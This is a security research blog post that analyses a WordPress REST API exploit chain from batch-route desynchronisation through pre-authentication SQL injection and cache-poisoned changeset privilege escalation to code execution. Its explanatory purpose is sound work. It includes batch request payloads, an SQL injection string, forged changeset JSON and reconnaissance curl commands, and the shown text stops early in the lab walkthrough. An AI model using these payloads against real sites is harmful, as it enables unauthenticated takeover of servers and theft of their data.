CyberMap Group
Back to CyberMap
CyberMap
Home
About
Team
Contact
Back to Blog
CVE Research

WordPress REST API Batch Endpoint Exploit Chain (wp2shell): From Route Confusion to Remote Code Execution

CVE: CVE-2026-63030, CVE-2026-60137CWE: CWE-436, CWE-89CVSS: 9.8 (Critical)Affected versions: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1Fixed in: 6.9.5 / 7.0.2 / 6.8.6Vulnerability Chain codename: wp2shell A content management system that powers a large share of the public web was, in its default installation, fully compromisable by an attacker holding no account and requiring no plugins to be present. The only […]

Haluk Baran AkbulutHaluk Baran Akbulut
July 26, 202655 Minutes Read

CVE: CVE-2026-63030, CVE-2026-60137
CWE: CWE-436, CWE-89
CVSS: 9.8 (Critical)
Affected versions: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1
Fixed in: 6.9.5 / 7.0.2 / 6.8.6
Vulnerability Chain codename: wp2shell

A content management system that powers a large share of the public web was, in its default installation, fully compromisable by an attacker holding no account and requiring no plugins to be present. The only prerequisite is network reach to the site: no username, no password, no invitation link, no administrator click, and no non-default configuration. At the end of a successful request sequence the attacker can read the entire database, create a valid administrator account under their own control, and execute their own code on the server. This is not a defacement-class problem; it is a change of ownership of the hosting server and everything reachable from it.

Technically the outcome is produced by two distinct vulnerabilities plus a set of architectural gadgets: a parallel-array desynchronisation in a batch request handler causes the validation stage and the dispatch stage to come apart, so a request is approved under one endpoint’s rules and then executed by a different endpoint’s handler, which in turn allows a raw string to reach an SQL query unmodified. The analysis was conducted at source level against the vendor advisory, the patch diff, and the technical breakdown published by Searchlight Cyber, and was then verified in an isolated laboratory environment. See Section 8 for the array desynchronisation, Section 9 for the SQL injection sink, Section 10 for the cache and changeset gadgets that make privilege escalation deterministic, and Section 11 for the hands-on verification.

Contents

  • 1. Executive Summary
  • 2. Legal Notice and Scope
  • 3. Terminology
  • 4. Vulnerability Identification
  • 5. Background
  • 6. Attack Surface and Preconditions
  • 7. Attack Flow
  • 8. Link 1 — Batch Route Desynchronisation (CVE-2026-63030)
  • 8.1 Principle Violated
  • 8.2 The Vulnerable Code
  • 8.3 Step-by-Step Trace with Concrete Values
  • 8.4 Analogy
  • 8.5 Architectural Root Cause
  • 9. Link 2 — WP_Query author__not_in SQL Injection (CVE-2026-60137)
  • 9.1 Principle Violated
  • 9.2 The Vulnerable Code
  • 9.3 Step-by-Step Trace with Concrete Values
  • 9.4 Analogy
  • 9.5 Architectural Root Cause
  • 10. Link 3 — Object Cache Poisoning and Changeset Privilege Escalation
  • 10.1 Principle Violated
  • 10.2 The Vulnerable Code
  • 10.3 Step-by-Step Trace with Concrete Values
  • 10.4 Analogy
  • 10.5 Architectural Root Cause
  • 11. Hands-On Demonstration
  • 11.1 Lab Environment
  • 11.2 Step-by-Step Verification
  • 12. Impact Analysis
  • 13. Dead Ends
  • 14. Detection and Log Analysis
  • 15. Remediation and Secure Coding Lessons
  • 15.1 Secure Coding Lessons
  • 16. Real-World Context
  • 17. Conclusion
  • 18. References
  • Appendix A — Glossary

1. Executive Summary

wp2shell is not a single vulnerability but a chain. For it to work, three independent defences must fail simultaneously: the batch handler’s validation-to-dispatch pairing, the type check inside WP_Query, and the object cache’s assumption that its contents reflect database reality. Each link looks unremarkable in isolation; what produces the outcome is which primitive each link hands to the next.

[Batch Desync]  ⟶  [Validation Bypass]  ⟶  [Pre-Auth SQLi]  ⟶  [Cache Poisoning]  ⟶  [Admin Forgery]  ⟶  [RCE]
(CWE-436)          (parameter schema)      (CWE-89)            (WP_Post hydration)   (customize_changeset) (plugin upload)
#LinkClass (CWE)Role in the chain
1Batch route desynchronisation (CVE-2026-63030)CWE-436 (Interpretation Conflict)An index shift between the $matches and $validation arrays causes a request to be executed by its neighbour’s handler, disabling parameter schema validation on demand.
2author__not_in SQL injection (CVE-2026-60137)CWE-89 (SQL Injection)With schema validation bypassed, a scalar string is interpolated directly into a NOT IN (...) clause, yielding an unauthenticated SELECT-based injection primitive.
3Object cache and changeset gadgetNo separate CVE assigned; covered as the exploitation stage of GHSA-ff9f-jf42-662qUNION SELECT places forged rows into the in-memory WP_Post cache; applying a customize_changeset triggers wp_set_current_user() and grants a temporary administrator identity.
4parse_request hook replaySame scopeReplays the entire batch request while the temporary administrator role is still active, so the user-creation sub-request that failed on the first pass succeeds on the second.

Key insight: the outcome is deterministic rather than probabilistic. SQL injection alone would make remote code execution contingent on cracking a password hash or on the database user holding FILE privileges; the changeset gadget removes both dependencies and turns a read-only SELECT primitive directly into a new administrator account.


2. Legal Notice and Scope

Legal notice: this article is published solely for security awareness, defence, vulnerability management, and education. The techniques described must only be reproduced in authorised, isolated laboratory environments. Scanning, exploitation attempts, unauthorised access, or any action that may cause service disruption against systems you do not own or have explicit written permission to test may constitute a criminal offence. In Türkiye, unauthorised access to and interference with information systems is addressed under Articles 243–245 of the Turkish Penal Code No. 5237; in the United Kingdom the equivalent provisions are found in the Computer Misuse Act 1990.

Scope and PoC policy: this analysis explains the root cause at source level and publishes example payloads together with request/response pairs, on the basis that the quality of a defence depends on understanding how the attack actually works. What is withheld is end-to-end weaponised tooling: the operating logic of the automation used in Section 11.2 is summarised, but no ready-to-run exploit source is reproduced here. All testing was performed against a deliberately unpatched WordPress installation inside an isolated laboratory environment with no internet egress. No real IP address, hostname, or internal domain appears in this document; every occurrence is replaced with the placeholder TARGET_HOST.

Lab acknowledgement: the vulnerable environment used for verification is the WordPress: CVE-2026-63030 room published by TryHackMe, and the proof-of-concept exercised in Section 11.2 is a modified build of the tool released by sergiointel. Both are credited in Section 18.


3. Terminology

TermDefinition
CVECommon Vulnerabilities and Exposures — the standard identifier scheme for publicly known flaws
CVSSCommon Vulnerability Scoring System — a scheme for scoring technical severity
CWECommon Weakness Enumeration — a taxonomy of software and hardware weakness classes
PoCProof of Concept — a controlled demonstration that a flaw exists
RCERemote Code Execution — execution of attacker-supplied code on the target system
SinkA function that hands data to a dangerous interpreter or subsystem (SQL, shell, filesystem)
Batch endpointThe endpoint that packs multiple virtual API sub-requests into a single HTTP request (/batch/v1)
DesyncTwo data structures that are expected to advance together losing their index or state correspondence

4. Vulnerability Identification

FieldCVE-2026-63030CVE-2026-60137
Product / componentWordPress Core — WP_REST_Server::serve_batch_request_v1()WordPress Core — WP_Query, author__not_in query variable
VendorWordPress / AutomatticWordPress / Automattic
Affected versions6.9.0 – 6.9.4, 7.0.0 – 7.0.16.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
Fixed in6.9.5, 7.0.2, 7.1 beta26.8.6, 6.9.5, 7.0.2, 7.1 beta2
Vulnerability classREST API batch route confusion / validation–dispatch desyncBlind SQL injection
CWECWE-436 (Interpretation Conflict) — no CWE is assigned in the GitHub advisory; this mapping comes from third-party analysisCWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
CVSS v3.1 base score9.8 — Critical (Tenable). During early disclosure some records listed it as 7.5 — High on its own5.9 — Medium (standalone)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (chain score)CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack vectorNetworkNetwork
Privileges requiredNoneNone
User interactionNoneNone
Disclosure / patch date17 July 2026 / 17 July 202617 July 2026 / 17 July 2026
Credited toAdam Kues (Assetnote / Searchlight Cyber)TF1T, dtro, haongo
Public exploit availableYes — multiple PoCs on GitHub within hours of disclosure; in-the-wild exploitation confirmed from 18–20 July 2026Same chain

Technical nuance: the gap between the chain score and the individual scores is misleading if read carelessly. CVE-2026-60137 scores 5.9 on its own (AC:H, confidentiality impact only) because reaching it directly runs into author_exclude schema validation. What lifts the score to 9.8 is CVE-2026-63030 removing that validation. A team that prioritises patching by individual score will file the 5.9 record as medium priority and miss the chain entirely.


5. Background

WordPress is a content management system that powers a substantial fraction of the public web. The chain analysed here lives in the REST API layer of core — specifically in the batch endpoint introduced with WordPress 5.6 in 2020, which has shipped enabled by default ever since.

What this component does under normal conditions:

When an endpoint is called directly (POST /wp-json/wp/v2/posts), WordPress runs its validation pipeline in strict sequence:

  1. has_valid_params() — checks required and valid parameters
  2. sanitize_params() — sanitises parameters according to the endpoint schema
  3. Permission callback — runs the authorisation check
  4. Endpoint callback — invokes the function that does the actual work

The consequence of that ordering is a guarantee: every parameter that reaches the endpoint callback is of the declared type and shape. Endpoint implementations rely on that guarantee and do not re-check that a post ID is an integer or that a post title is a string.

The batch endpoint performs the same work in a different order. Rather than running the four steps serially per request, it splits validation and execution into two separate loops:

// Conceptual flow of the batch handler
// Loop 1 — validation
foreach ( $requests as $single_request ) {
    // has_valid_params() + sanitize_params()
}
// Loop 2 — dispatch
foreach ( $requests as $i => $single_request ) {
    // did validation succeed? → permission callback → endpoint callback
}

A batch request looks like this in practice:

POST /wp-json/batch/v1 HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json

{
  "validation": "require-all-validate",
  "requests": [
    { "method": "PATCH", "path": "/wp/v2/posts/123", "body": { "title": "Updated first title" } },
    { "method": "PATCH", "path": "/wp/v2/posts/124", "body": { "title": "Updated second title" } }
  ]
}

This two-loop design carries an implicit contract: the record produced by the validation loop and the record read by the dispatch loop must belong to the same request. The contract rests entirely on two parallel arrays keeping their indices aligned. That is exactly where it breaks; see Section 8 for the source-level detail.


6. Attack Surface and Preconditions

PreconditionRequired?Notes
WordPress version 6.9.0–6.9.4 or 7.0.0–7.0.1YesFor the full RCE chain. 6.8.0–6.8.5 are affected by the SQL injection only
Batch endpoint reachableYesDefault: enabled (since WordPress 5.6)
AuthenticationNoAn anonymous, session-less request is sufficient
User interactionNo—
Plugin or theme installedNoA bare default installation is enough
Persistent external object cache (Redis / Memcached)Must be absentThe RCE stage assumes no persistent object cache, which changes how the underlying query is assembled. The SQL injection itself is unaffected
Network positionInternetHTTP(S) reachability to the site is sufficient

Default configuration assessment: on an affected version, a default installation is vulnerable. No configuration change, plugin, or theme is required to enable exploitation — the population at risk is not “misconfigured installs” but “every unpatched install”.

Non-destructive exposure check:

# Version banner
curl -s "https://TARGET_HOST/" | grep -i 'name="generator"'

# Whether the batch route is registered — does not alter target state
curl -s "https://TARGET_HOST/?rest_route=/" | jq -r '.routes | keys[]' | grep batch

Technical nuance: the REST API is reachable by two different URL forms. With pretty permalinks enabled the /wp-json/... form applies; without them, ?rest_route=/... is the valid form. A 404 on /wp-json/ therefore does not mean the REST API is disabled — it means the .htaccess rewrite rules are not in effect, and the endpoint remains reachable through the second form. Section 11.2 records exactly this case in the lab environment, and the same duality governs WAF rule coverage (see Sections 14 and 15).

Alternatively, an installation can be tested directly through the official checker published by Searchlight Cyber at wp2shell.com. The version string alone should not be trusted: auto-update state and hardening can both render it misleading.


7. Attack Flow

Under normal operation the batch handler and the SQL builder inside WP_Query are two layers unaware of one another; what connects them is not an ordinary data flow but the misassignment of a validation record to the wrong request. In the same way, what links the SQL injection to administrator account creation is not database write access but the trust WordPress places in its own in-memory object cache.

The takeaway of the diagram is that the only thing under attacker control is a JSON body; every subsequent step is carried out by WordPress’s own legitimate code paths, its own cache, and its own privilege-delegation mechanism.


8. Link 1 — Batch Route Desynchronisation (CVE-2026-63030)

8.1 Principle Violated

The parallel-arrays pattern stores different facts about the same entity in separate arrays at the same index. It is valid under exactly one condition: every write must occur in all arrays simultaneously. The moment one array is updated and another is skipped, the index stops carrying identity — $a[3] and $b[3] now describe different entities, and no language-level mechanism reports it.

The batch handler violates that condition on its error branch. When a request cannot be parsed, an entry is appended to $validation, but the loop moves on via continue without appending a placeholder to $matches. From that point onward $matches trails by one element.

Expected behaviour:

Input:  [ malformed_request, /wp/v2/posts/1 (DELETE), /wp/v2/posts (POST) ]
Output: $validation[1] ↔ $matches[1]  →  DELETE validation ↔ DELETE handler
        The request is either rejected or executed under its own rules.

Vulnerable behaviour:

Input:  [ malformed_request, /wp/v2/posts/1 (DELETE), /wp/v2/posts (POST) ]
Output: $validation[1] ↔ $matches[1]  →  DELETE validation ↔ CREATE handler
        The request is stamped "valid" and handed to the wrong endpoint's code.

Technical nuance: the difference between the two outputs is not visible in the HTTP status line. The batch response returns 207 Multi-Status in both cases and the sub-responses are structurally normal. Only an observer looking at the resulting side effect — for instance the shape of the database query, or the specific error code returned by the sub-response — can tell them apart. This is why the flaw can be classified as a failed request and skipped during a routine fuzzing pass.

8.2 The Vulnerable Code

// wp-includes/rest-api/class-wp-rest-server.php — serve_batch_request_v1()
$matches    = array();
$validation = array();
$has_error  = false;

foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
        $validation[] = $single_request;
        // VULNERABILITY HERE: the loop skips ahead without appending a placeholder to $matches.
        continue;
    }

    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    $error     = null;

    // ... validation work ...

    if ( $error ) {
        $has_error    = true;
        $validation[] = $error;
    } else {
        $validation[] = true;
    }
}

The developer assumption is that $validation[$i] and $matches[$i] always refer to the same request. That assumption holds as long as every path through the loop body writes to both arrays. The error branch breaks the symmetry, and the input class that collapses it is trivial: placing an unparseable path such as "http://:" in the first request of the batch body is sufficient. What the attacker gains is not arbitrary memory corruption but a controlled pairing shift — the mapping of validation records to handlers is chosen by rearranging the request order.

8.3 Step-by-Step Trace with Concrete Values

The values below are illustrative and correspond to the requests issued in the lab environment described in Section 11.

InputContentPurpose
Request 0{"method":"POST","path":"http://:"}Unparseable path — the primer that starts the shift
Request 1{"method":"DELETE","path":"/wp/v2/posts/1"}The request whose parameters are carried across. DELETE /wp/v2/posts/1 does not declare author_exclude in its schema
Request 2{"method":"POST","path":"/wp/v2/posts"}The handler that will execute request 1

Step 1 — processing Request 0:

  • is_wp_error( $single_request ) → TRUE
  • $validation[0] = WP_Error, continue
  • Nothing is written to $matches
$validation : [0 => WP_Error]          (length: 1)
$matches    : []                        (length: 0)

Step 2 — processing Request 1 (DELETE /wp/v2/posts/1):

  • is_wp_error() → FALSE
  • $matches[0] = DeletePostHandler
  • Validation succeeds → $validation[1] = true
$validation : [0 => WP_Error, 1 => true]
$matches    : [0 => DeletePostHandler]   ← the array now trails by one element

Step 3 — processing Request 2 (POST /wp/v2/posts):

  • is_wp_error() → FALSE
  • $matches[1] = CreatePostHandler
  • $validation[2] = true
$validation : [0 => WP_Error, 1 => true, 2 => true]
$matches    : [0 => DeletePostHandler, 1 => CreatePostHandler]

Step 4 — dispatch loop:

  • i = 0 → Request 0 is a WP_Error, so it is skipped. $matches[0] is never used.
  • i = 1 → Request 1’s parameters and Request 1’s validation result (true) are taken, but the handler is read from $matches[1].
Body used       : Request 1 → { path parameter id = 1 }
Validation used : Request 1 → true
Handler used    : $matches[1] = CreatePostHandler   ← WHERE THE SHIFT BECOMES OBSERVABLE

Result: the request was validated under the rules of DELETE /wp/v2/posts/1 and executed by the handler of POST /wp/v2/posts. This is directly observable in the lab: the same request returns rest_post_invalid_id when dispatched correctly, and rest_post_exists — an error raised inside WP_REST_Posts_Controller::create_item_permissions_check() — once the shift is in place (see Section 11.2, Step 6). The primitive handed to Link 2 is therefore the ability to selectively disable parameter schema validation on any batch-reachable endpoint.

Technical nuance: issuing the payload as shown returns requests[2][method] is not one of POST, PUT, PATCH, and DELETE. The batch API does not accept GET, yet the SQL injection is only reachable through GET /wp/v2/posts. The resolution lies in the fact that the method restriction is itself implemented as parameter validation: the batch call is nested recursively inside itself. The outer layer desynchronises so the method field is never validated; the inner layer desynchronises again so author_exclude is never validated. This is recorded as a dead end in Section 13 and exercised in Section 11.2, Step 7.

8.4 Analogy

At a security checkpoint the staff keep two ledgers: one records each traveller’s screening result, the other records which gate they are sent to. The rule is that every traveller is entered into both ledgers on the same line. One day someone arrives whose ticket cannot be read; the officer writes invalid ticket in the screening ledger but moves on to the next person without writing anything in the gate ledger. From that moment the gate ledger runs one line behind: a traveller screened under the relaxed rules of the staff entrance is dispatched to the door of the vault. Nobody lied and nobody forged a ledger — the line numbers simply no longer agree.

8.5 Architectural Root Cause

This is an instance of CWE-436 — Interpretation Conflict, and it is a design assumption collapsing rather than a typo. The decision to split validation from execution into two loops was taken for performance reasons; that decision moved the “these facts belong to the same request” relationship into a place the language’s type system cannot protect — array indices. Once a relationship is entrusted to an index, guaranteeing it is no longer the compiler’s responsibility but that of the developer writing every continue, break, and return branch correctly.

Code patterns carrying the same assumption: every bulk or batch API that keeps validation results in a separate list, pipelining implementations that pair requests to responses by position, and any bulk-processing routine that keeps an input list and an output list in parallel.


9. Link 2 — WP_Query author__not_in SQL Injection (CVE-2026-60137)

9.1 Principle Violated

Any function that carries user input into SQL must not assume its input has already been validated. This is the sink-level form of defence in depth: validation performed by an upper layer is an optimisation, not a security boundary. The security boundary is the last line that hands data to the interpreter.

The author__not_in handler inside WP_Query applies that principle only partially — if the input is an array, every element is coerced to an integer with absint(). If the input is not an array, nothing happens and the value is interpolated into SQL as-is. The sanitiser exists, but it is conditional, and no fail-safe default is defined for the branch where the condition does not hold.

Expected behaviour:

Input:  author_exclude = [1, 2, "5abc"]
Output: AND wp_posts.post_author NOT IN (1,2,5)
        absint() reduces each element to an integer; injection is impossible.

Vulnerable behaviour:

Input:  author_exclude = "0) OR 1=1 -- "
Output: AND wp_posts.post_author NOT IN (0) OR 1=1 -- )
        is_array() returns FALSE, so the string passes untouched.

Technical nuance: the code reads as safe, because the absint() call is plainly visible. Some static analysis tools will likewise mark the pattern as sanitised. The danger is not in the array_map('absint', ...) line but in the fact that the else branch of if ( is_array( ... ) ) was never written.

9.2 The Vulnerable Code

// wp-includes/class-wp-query.php — WHERE clause construction
if ( ! empty( $query_vars['author__not_in'] ) ) {

    if ( is_array( $query_vars['author__not_in'] ) ) {
        // Array branch: every element is reduced to an integer — this path is safe
        $query_vars['author__not_in'] = array_unique(
            array_map( 'absint', $query_vars['author__not_in'] )
        );
        sort( $query_vars['author__not_in'] );
    }
    // VULNERABILITY HERE: no sanitisation occurs when the value is not an array; there is no else branch.

    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );

    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

The (array) cast is particularly deceptive here: it converts a scalar string into a single-element array, and implode() then returns that single element verbatim. The code appears to be “converting the string into an array” while in fact performing no transformation at all — and absint() has already been bypassed by that point.

This code path is normally unreachable. The public REST parameter author_exclude is declared as array of integer, and the posts controller maps it to author__not_in only after validation. The primitive provided by Link 1 is precisely what removes that “after”.

9.3 Step-by-Step Trace with Concrete Values

The values below correspond to the requests issued in the lab environment described in Section 11.

InputContentPurpose
author_exclude (validation context)Schema of DELETE /wp/v2/posts/1 — parameter undeclaredEscapes the type check
author_exclude (value)0) OR 1=1 --Boolean payload confirming the injection

Step 1 — validation layer:

  • author_exclude does not appear in the get_collection_params() output of the DELETE /wp/v2/posts/1 route
  • The REST validator only type-checks parameters declared in the schema; undeclared parameters are not rejected, they are silently ignored
  • Result: $validation[1] = true
Schema lookup : isset($schema_params['author_exclude']) → FALSE
Type check    : never executed
Verdict       : "valid"

Step 2 — the posts controller maps the parameter to a query variable:

$query_vars['author__not_in'] = "0) OR 1=1 -- "   (type: string)

Step 3 — WP_Query builds the WHERE clause:

  • ! empty( $query_vars['author__not_in'] ) → TRUE
  • is_array( $query_vars['author__not_in'] ) → FALSE → the absint() block is skipped
  • implode( ',', (array) "0) OR 1=1 -- " ) → "0) OR 1=1 -- "
$author__not_in = 0) OR 1=1 --      ← WHERE THE SHIFT TURNS INTO SQL

Step 4 — resulting query:

SELECT * FROM wp_posts
WHERE 1=1
  AND wp_posts.post_type = 'post'
  AND wp_posts.post_status = 'publish'
  AND wp_posts.post_author NOT IN (0) OR 1=1 -- )

Result: operator precedence groups the original conditions together, so the clause evaluates as (post_type AND post_status AND post_author NOT IN (0)) OR (1=1) and is unconditionally true; the trailing -- comments out the remainder of the generated statement. The query therefore returns rows the endpoint is architecturally incapable of returning. In the lab this is directly observable: with 1=2 the response reports only post objects, while with 1=1 the same request returns a wp_navigation object — a post type that /wp/v2/posts never exposes (see Section 11.2, Step 7). From here a UNION-based injection returning a full wp_posts-shaped row can leak arbitrary database values, including administrator password hashes.

Technical nuance: the injection is blind — no query output appears in the response body. Two oracles are used in practice. The boolean oracle reads the shape of the response, which is the method exercised in Section 11.2. The time-based oracle instead injects a delay such as SLEEP(7) and measures response latency; this variant is reported by Escape as the basis of their DAST detection and was not exercised in this lab, so no timing figures are claimed here. To reduce request volume, character extraction does not test ASCII values one by one but narrows the range by binary search — roughly seven requests per character, as visible in the extraction output in Section 11.2, Step 8.

9.4 Analogy

A courier depot inspects parcels on two different rules: consignments arriving as a batch are opened and checked item by item, while a parcel arriving on its own is passed straight to loading on the grounds that “it must already have been checked at the gate”. Anyone who can bypass the gate check only has to send their parcel on its own to reach the loading bay untouched. The inspection mechanism is not missing — it is bound to the wrong condition.

9.5 Architectural Root Cause

This is an instance of CWE-89 — SQL Injection, but the architectural fault is not the absence of a prepared statement; it is that security was made contingent on the behaviour of a distant layer. The code inside WP_Query assumes author__not_in will always be a validated array of integers. The developer who wrote that assumption and the developer who wrote the batch handler that violates it were most likely not the same person, and nothing in either file documents the contract between them.

Code patterns carrying the same assumption: every helper function that skips type checking because “the upper layer already validated it”, every conditional sanitiser that only cleans input arriving in one particular shape, and every code path that believes a (array) cast resolves the scalar/array distinction.


10. Link 3 — Object Cache Poisoning and Changeset Privilege Escalation

10.1 Principle Violated

A cache should be a copy of the source of truth, not a replacement for it. When the in-memory representation and the persistent record disagree, the security-correct behaviour is to treat the persistent record as authoritative. WordPress’s WP_Post cache does the opposite: if a field exists in both places with different values, the in-memory value wins.

That preference is normally harmless, because only rows read from the database enter the in-memory cache. Link 2 invalidates the premise: a row returned by UNION SELECT is handed to the application by the database driver as “a real row fetched from the database” and is cached as such.

Expected behaviour:

Input:  wp_posts row (ID=11, post_type='oembed_cache')
Output: In-memory WP_Post object = exact copy of the database row
        Operations on the object follow the real row's type.

Vulnerable behaviour:

Input:  Row fabricated via UNION SELECT (ID=11, post_type='customize_changeset')
Output: In-memory WP_Post object = fields defined by the attacker
        Although the same ID is 'oembed_cache' in the database,
        the application processes the object as a changeset.

Technical nuance: this is not a database write in the conventional sense. The injection is SELECT-only; the attacker never executes an INSERT or UPDATE. The persistent rows are created by WordPress’s own write paths — the wp_update_post() calls that refresh the oEmbed cache. The distinction matters defensively: granting the database user SELECT-only privileges does not break this chain.

10.2 The Vulnerable Code

This link arises not from a single vulnerable line but from four legitimate mechanisms composing. The three critical code points:

(a) oEmbed cache — gives a forged post a persistent row:

// An [embed]/?p=S[/embed] expression in post content pointing at a local post is
// processed without an HTTP request. Whether S actually exists is NEVER CHECKED.
// Result: a new row with post_type = 'oembed_cache' appears in wp_posts.
wp_update_post( array(
    'ID'           => $oembed_row_id,
    'post_content' => $generated_html,   // post_content is EXPLICITLY overridden here
) );

(b) Cycle detection — a second write path that does not override post_content:

// The wp_insert_post_parent filter zeroes the parent when it detects a cycle in the
// post hierarchy. This call does NOT specify post_content:
wp_update_post( array(
    'ID'          => $looping_post_id,
    'post_parent' => 0,
) );
// VULNERABILITY HERE: because post_content is unspecified, the (forged) in-memory value is used.
// The attacker therefore gains full control over the content of a persistent row.

(c) Changeset application — identity delegation:

// When a customize_changeset is applied, each setting in the changeset JSON is
// associated with its own user_id and that user's identity is temporarily assumed.
wp_set_current_user( $setting_user_id );   // user_id = 1 in the changeset JSON → administrator

(d) Status transition hook — turning the role into a durable action:

// A dynamic action fires whenever a post status changes:
do_action( "{$new_status}_{$post->post_type}", $post->ID, $post );
// Because $new_status and $post_type come from the forged in-memory object,
// the attacker can trigger ANY action whose name contains at least one underscore.
// 'parse' + 'request' → parse_request → the request lifecycle restarts from the beginning.

The elegance of the chain lies here: at no point is there a single line that could be flagged as a missing authorisation check. Each function does the right thing, trusting that the WP_Post object it was handed came from the database.

10.3 Step-by-Step Trace with Concrete Values

Post IDs are shown as letter variables; in practice they are any integer high enough not to collide with existing IDs on the target. The row IDs recovered in the lab run were 100, 101 and 102 (see Section 11.2, Step 9).

Forged postIn-memory fieldsRole in the chain
Tpublish / post, content: embed pointing at SThe trigger that starts execution
Spublish / postSource of the embed data; absent from the database, present only in cache
Opublish / oembed_cache, empty content, stale post_modified_gmt, parent = CThe only object with a real database row; updating it drives the chain
Cfuture / customize_changeset, parent = C (itself), past-dated, content: changeset JSONThe changeset that performs identity delegation
Pdraft / page, parent = DThe object the changeset “modifies”; triggers the second cycle
Dparse / request, parent = D (itself)The forged type/status pair that fires the parse_request hook

Step 0 — seeding request:

The SQL injection returns a forged post with ID zero whose content holds three embeds pointing at the same S, differing only by a query-string token:

[embed width="500" height="750"]/?p=S&wpsec_seed=foobar-outer[/embed]
[embed width="500" height="750"]/?p=S&wpsec_seed=foobar-changeset[/embed]
[embed width="500" height="750"]/?p=S&wpsec_seed=foobar-dispatch[/embed]

Three distinct tokens produce three distinct oEmbed hashes. The result is three oembed_cache rows in the database corresponding to O, C and D.

wp_posts (persistent) : [O => oembed_cache, C => oembed_cache, D => oembed_cache]
Cache                 : (empty)

Step 1 — second request; six forged objects are written into the cache via SQLi:

Cache      : T(publish/post), S(publish/post), O(publish/oembed_cache, parent=C),
             C(future/customize_changeset, parent=C), P(draft/page, parent=D),
             D(parse/request, parent=D)
Database   : O, C, D → oembed_cache. T, S, P → do not exist.

Step 2 — T‘s embed is processed and O is refreshed:

  • O‘s forged post_modified_gmt is stale, so the cache is considered expired
  • get_post(S) is called; S is absent from the database but present in cache → forged data enters the embed routine
  • Writing O calls wp_update_post(['ID' => O, 'post_content' => $generated_html])

Step 3 — cycle detection fires on C:

  • Before the write, the wp_insert_post_parent filter runs and detects the O → C → C → … cycle
  • To repair it WordPress calls wp_update_post(['ID' => C, 'post_parent' => 0])
  • That call does not specify post_content → the forged changeset JSON in cache is used
Fields used when C is written:
  post_status  = future
  post_type    = customize_changeset
  post_date    = 2020-01-01 00:00:00     ← in the past
  post_name    = a valid changeset UUID
  post_content = {"nav_menus_created_posts":{"value":[P],"type":"option","user_id":1}}

Step 4 — the changeset is applied and identity is delegated:

  • post_status = future with a post_date in the past → WordPress proceeds to apply the changeset
  • wp_set_current_user( 1 ) is called
Session identity : anonymous (ID 0)  →  administrator (ID 1)   ← WHERE PRIVILEGE ESCALATION
                                                                  BECOMES OBSERVABLE

Step 5 — a second cycle fires on D and triggers parse_request:

  • The changeset updates P → wp_update_post(['ID' => P, 'post_status' => 'publish'])
  • The same filter detects the P → D → D cycle → wp_update_post(['ID' => D, 'post_parent' => 0])
  • Once D is written the dynamic action runs:
do_action( "parse" . "_" . "request", D, $post )   →   parse_request

Step 6 — the request lifecycle runs again:

  • The whole batch request is reprocessed, but this time the session still holds the administrator identity
  • The “create user” sub-request that failed with an authorisation error on the first pass now succeeds

Result: starting from a SELECT-only SQL injection, and without password cracking or file-write privileges, a persistent and valid administrator account is produced in the database. That account is then used to sign in and upload a ZIP plugin, executing PHP on the server — the final link of the chain is an entirely legitimate WordPress feature. Section 11.2, Step 9 records this sequence end to end against the lab target.

10.4 Analogy

In an archive building, clerks keep a copy of frequently used files on their desks to avoid walking to the vault each time; the rule is that when the desk copy and the vault original disagree, the desk copy wins, on the grounds that “nothing reaches a desk except from the vault”. Anyone who can trick the vault clerk into placing a self-prepared file on a desk can then rely on the note at the top of that file — this action is to be carried out under the director’s authority — to have work performed with the director’s authority without ever obtaining the director’s signature. Nobody skips the authorisation check; the authorisation is simply read off a forged document.

10.5 Architectural Root Cause

This link has no single CWE counterpart; it sits at the intersection of CWE-1188 (insecure default initialisation), CWE-345 (insufficient verification of data authenticity) and CWE-269 (improper privilege management). The assumption that collapses is one sentence: “anything entering the in-memory object cache came from the database, and is therefore trustworthy.”

That assumption becomes lethal when combined with identity being carried inside the data itself. The user_id field in the changeset JSON does not prove who created the data — it merely asserts it. Without a cryptographic signature or a server-side session binding, “this change will be applied with the authority of user 1” is not a verifiable claim but an accepted petition.

Code patterns carrying the same assumption: every job queue and scheduled-task system that carries actor identity inside a serialised object, every draft-and-publish workflow that skips the authorisation check at publish time because “it was already in the database”, and every design that reads state-machine transitions from an object’s own fields.


11. Hands-On Demonstration

11.1 Lab Environment

ComponentConfiguration
EnvironmentTryHackMe — WordPress: CVE-2026-63030 room (isolated, no internet egress)
Target serviceApache/2.4.67 (Debian), HTTP on port 8080
Vulnerable buildWordPress 6.9.4, default installation, no additional plugins
PermalinksPretty permalinks disabled — REST API reachable only via ?rest_route=
Persistent object cacheNot in use — confirmed indirectly, since the RCE stage completed successfully (see Section 6)
Attacker hostKali Linux
Toolingcurl, jq for manual verification; a modified build of the sergiointel PoC for the full chain
LoggingEnabled (Apache access and error logs)
SnapshotRoom instance terminated and reset after testing

All hostnames and IP addresses are replaced with TARGET_HOST below. The lab target’s own hostname appears inside the figures where it could not be redacted without obscuring the evidence.

11.2 Step-by-Step Verification

Step 1 — target reconnaissance:

Step 2 — version confirmation:

export T='http://TARGET_HOST:8080'
curl -s "$T/" | grep -i 'name="generator"'
<meta name="generator" content="WordPress 6.9.4" />

The banner places the installation inside the affected 6.9.0–6.9.4 range.

Step 3 — locating the REST API:

curl -s "$T/wp-json/"
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<address>Apache/2.4.67 (Debian) Server at TARGET_HOST Port 8080</address>

The 404 reflects pretty permalinks being disabled, not the REST API being unavailable. Through the alternative form the API and the batch route are both present:

curl -s "$T/?rest_route=/" | jq -r '.namespaces[]'
curl -s "$T/?rest_route=/" | jq -r '.routes | keys[]' | grep batch
oembed/1.0
wp/v2
wp-site-health/v1
wp-block-editor/v1
wp-abilities/v1
/batch/v1

